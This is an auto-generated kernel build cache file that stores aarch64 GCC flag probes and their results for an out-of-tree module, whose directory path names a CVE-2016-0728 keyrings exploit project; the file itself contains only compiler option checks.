__cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if___printf_"%b_n"_".arch_extension_lse"_|_aarch64-linux-gnu-gcc_-D__ASSEMBLY___-fno-PIE_-c_-x_assembler_-o_"_TMP"_-__>/dev/null_2>&1;_then_echo_"-DCONFIG_AS_LSE_1";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := 6 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if___printf_"%b_n"_"1__n.inst_0_n.rept_._-_1b_n_nnop_n.endr_n"_|_aarch64-linux-gnu-gcc_-D__ASSEMBLY___-fno-PIE_-c_-x_assembler_-o_"_TMP"_-__>/dev/null_2>&1;_then_echo_"";_else_echo_"-DCONFIG_BROKEN_GAS_INST_1";_fi;_rm_-f_"_TMP"_"_TMPO" := -DCONFIG_BROKEN_GAS_INST=1 7 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables__-mpc-relative-literal-loads_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"_-mpc-relative-literal-loads";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := 8 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-mabi_lp64";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -mabi=lp64 9 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-mabi_lp64_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-mabi_lp64";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -mabi=lp64 10 | __cached_/bin/bash_./scripts/gcc-version.sh_aarch64-linux-gnu-gcc := 0409 11 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-fno-delete-null-pointer-checks";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -fno-delete-null-pointer-checks 12 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if___aarch64-linux-gnu-gcc_-Werror_-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-Wframe-address_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Wno-frame-address";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := 13 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if___aarch64-linux-gnu-gcc_-Werror_-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-Wformat-truncation_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Wno-format-truncation";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := 14 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if___aarch64-linux-gnu-gcc_-Werror_-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-Wformat-overflow_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Wno-format-overflow";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := 15 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if___aarch64-linux-gnu-gcc_-Werror_-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-Wint-in-bool-context_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Wno-int-in-bool-context";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := 16 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if___aarch64-linux-gnu-gcc_-Werror_-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_-Wmaybe-uninitialized_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Wno-maybe-uninitialized";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -Wno-maybe-uninitialized 17 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"--param_allow-store-data-races_0";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := --param=allow-store-data-races=0 18 | __cached_/bin/bash_./scripts/gcc-goto.sh_aarch64-linux-gnu-gcc_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only__-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables__-mabi_lp64__-fno-delete-null-pointer-checks_____-O2__--param_allow-store-data-races_0 := y 19 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Wframe-larger-than_2048";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -Wframe-larger-than=2048 20 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048__-fno-stack-protector_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"_-fno-stack-protector";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -fno-stack-protector 21 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if___aarch64-linux-gnu-gcc_-Werror_-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wunused-but-set-variable_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Wno-unused-but-set-variable";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -Wno-unused-but-set-variable 22 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if___aarch64-linux-gnu-gcc_-Werror_-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wno-unused-but-set-variable_-Wunused-const-variable_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Wno-unused-const-variable";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := 23 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wno-unused-but-set-variable_-fno-omit-frame-pointer_-fno-optimize-sibling-calls__-fno-var-tracking-assignments_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"_-fno-var-tracking-assignments";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -fno-var-tracking-assignments 24 | __cached_aarch64-linux-gnu-gcc_-print-file-name_include := /home/jinb.park/GitHub/gcc-linaro-4.9.4-2017.01-x86_64_aarch64-linux-gnu/bin/../lib/gcc/aarch64-linux-gnu/4.9.4/include 25 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wno-unused-but-set-variable_-fno-omit-frame-pointer_-fno-optimize-sibling-calls_-fno-var-tracking-assignments_-pg_-Wdeclaration-after-statement_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Wdeclaration-after-statement";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -Wdeclaration-after-statement 26 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if___aarch64-linux-gnu-gcc_-Werror_-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wno-unused-but-set-variable_-fno-omit-frame-pointer_-fno-optimize-sibling-calls_-fno-var-tracking-assignments_-pg_-Wdeclaration-after-statement_-Wpointer-sign_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Wno-pointer-sign";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -Wno-pointer-sign 27 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wno-unused-but-set-variable_-fno-omit-frame-pointer_-fno-optimize-sibling-calls_-fno-var-tracking-assignments_-pg_-Wdeclaration-after-statement_-Wno-pointer-sign_-fno-strict-overflow_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-fno-strict-overflow";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -fno-strict-overflow 28 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wno-unused-but-set-variable_-fno-omit-frame-pointer_-fno-optimize-sibling-calls_-fno-var-tracking-assignments_-pg_-Wdeclaration-after-statement_-Wno-pointer-sign_-fno-strict-overflow_-fno-stack-check_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-fno-stack-check";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -fno-stack-check 29 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wno-unused-but-set-variable_-fno-omit-frame-pointer_-fno-optimize-sibling-calls_-fno-var-tracking-assignments_-pg_-Wdeclaration-after-statement_-Wno-pointer-sign_-fno-strict-overflow_-fno-stack-check_-fconserve-stack_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-fconserve-stack";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -fconserve-stack 30 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wno-unused-but-set-variable_-fno-omit-frame-pointer_-fno-optimize-sibling-calls_-fno-var-tracking-assignments_-pg_-Wdeclaration-after-statement_-Wno-pointer-sign_-fno-strict-overflow_-fno-stack-check_-fconserve-stack_-Werror_implicit-int_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Werror_implicit-int";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -Werror=implicit-int 31 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wno-unused-but-set-variable_-fno-omit-frame-pointer_-fno-optimize-sibling-calls_-fno-var-tracking-assignments_-pg_-Wdeclaration-after-statement_-Wno-pointer-sign_-fno-strict-overflow_-fno-stack-check_-fconserve-stack_-Werror_implicit-int_-Werror_strict-prototypes_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Werror_strict-prototypes";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -Werror=strict-prototypes 32 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wno-unused-but-set-variable_-fno-omit-frame-pointer_-fno-optimize-sibling-calls_-fno-var-tracking-assignments_-pg_-Wdeclaration-after-statement_-Wno-pointer-sign_-fno-strict-overflow_-fno-stack-check_-fconserve-stack_-Werror_implicit-int_-Werror_strict-prototypes_-Werror_date-time_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Werror_date-time";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -Werror=date-time 33 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wno-unused-but-set-variable_-fno-omit-frame-pointer_-fno-optimize-sibling-calls_-fno-var-tracking-assignments_-pg_-Wdeclaration-after-statement_-Wno-pointer-sign_-fno-strict-overflow_-fno-stack-check_-fconserve-stack_-Werror_implicit-int_-Werror_strict-prototypes_-Werror_date-time_-Werror_incompatible-pointer-types_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Werror_incompatible-pointer-types";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := 34 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-mlittle-endian_-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wno-unused-but-set-variable_-fno-omit-frame-pointer_-fno-optimize-sibling-calls_-fno-var-tracking-assignments_-pg_-Wdeclaration-after-statement_-Wno-pointer-sign_-fno-strict-overflow_-fno-stack-check_-fconserve-stack_-Werror_implicit-int_-Werror_strict-prototypes_-Werror_date-time_-Werror_designated-init_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Werror_designated-init";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := 35 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if___aarch64-linux-gnu-ar_rcD_"_TMP"__>/dev/null_2>&1;_then_echo_"D";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := D 36 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if___aarch64-linux-gnu-gcc__-Wl_--build-id_-D__KERNEL___-mlittle-endian___-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-mgeneral-regs-only_-DCONFIG_BROKEN_GAS_INST_1_-fno-asynchronous-unwind-tables_-mabi_lp64_-fno-delete-null-pointer-checks_-O2_--param_allow-store-data-races_0_-DCC_HAVE_ASM_GOTO_-Wframe-larger-than_2048_-fno-stack-protector_-Wno-unused-but-set-variable_-fno-omit-frame-pointer_-fno-optimize-sibling-calls_-fno-var-tracking-assignments_-pg_-Wdeclaration-after-statement_-Wno-pointer-sign_-fno-strict-overflow_-fno-stack-check_-fconserve-stack_-Werror_implicit-int_-Werror_strict-prototypes_-Werror_date-time_-nostdlib_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"_-Wl_--build-id";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -Wl,--build-id 37 | -------------------------------------------------------------------------------- 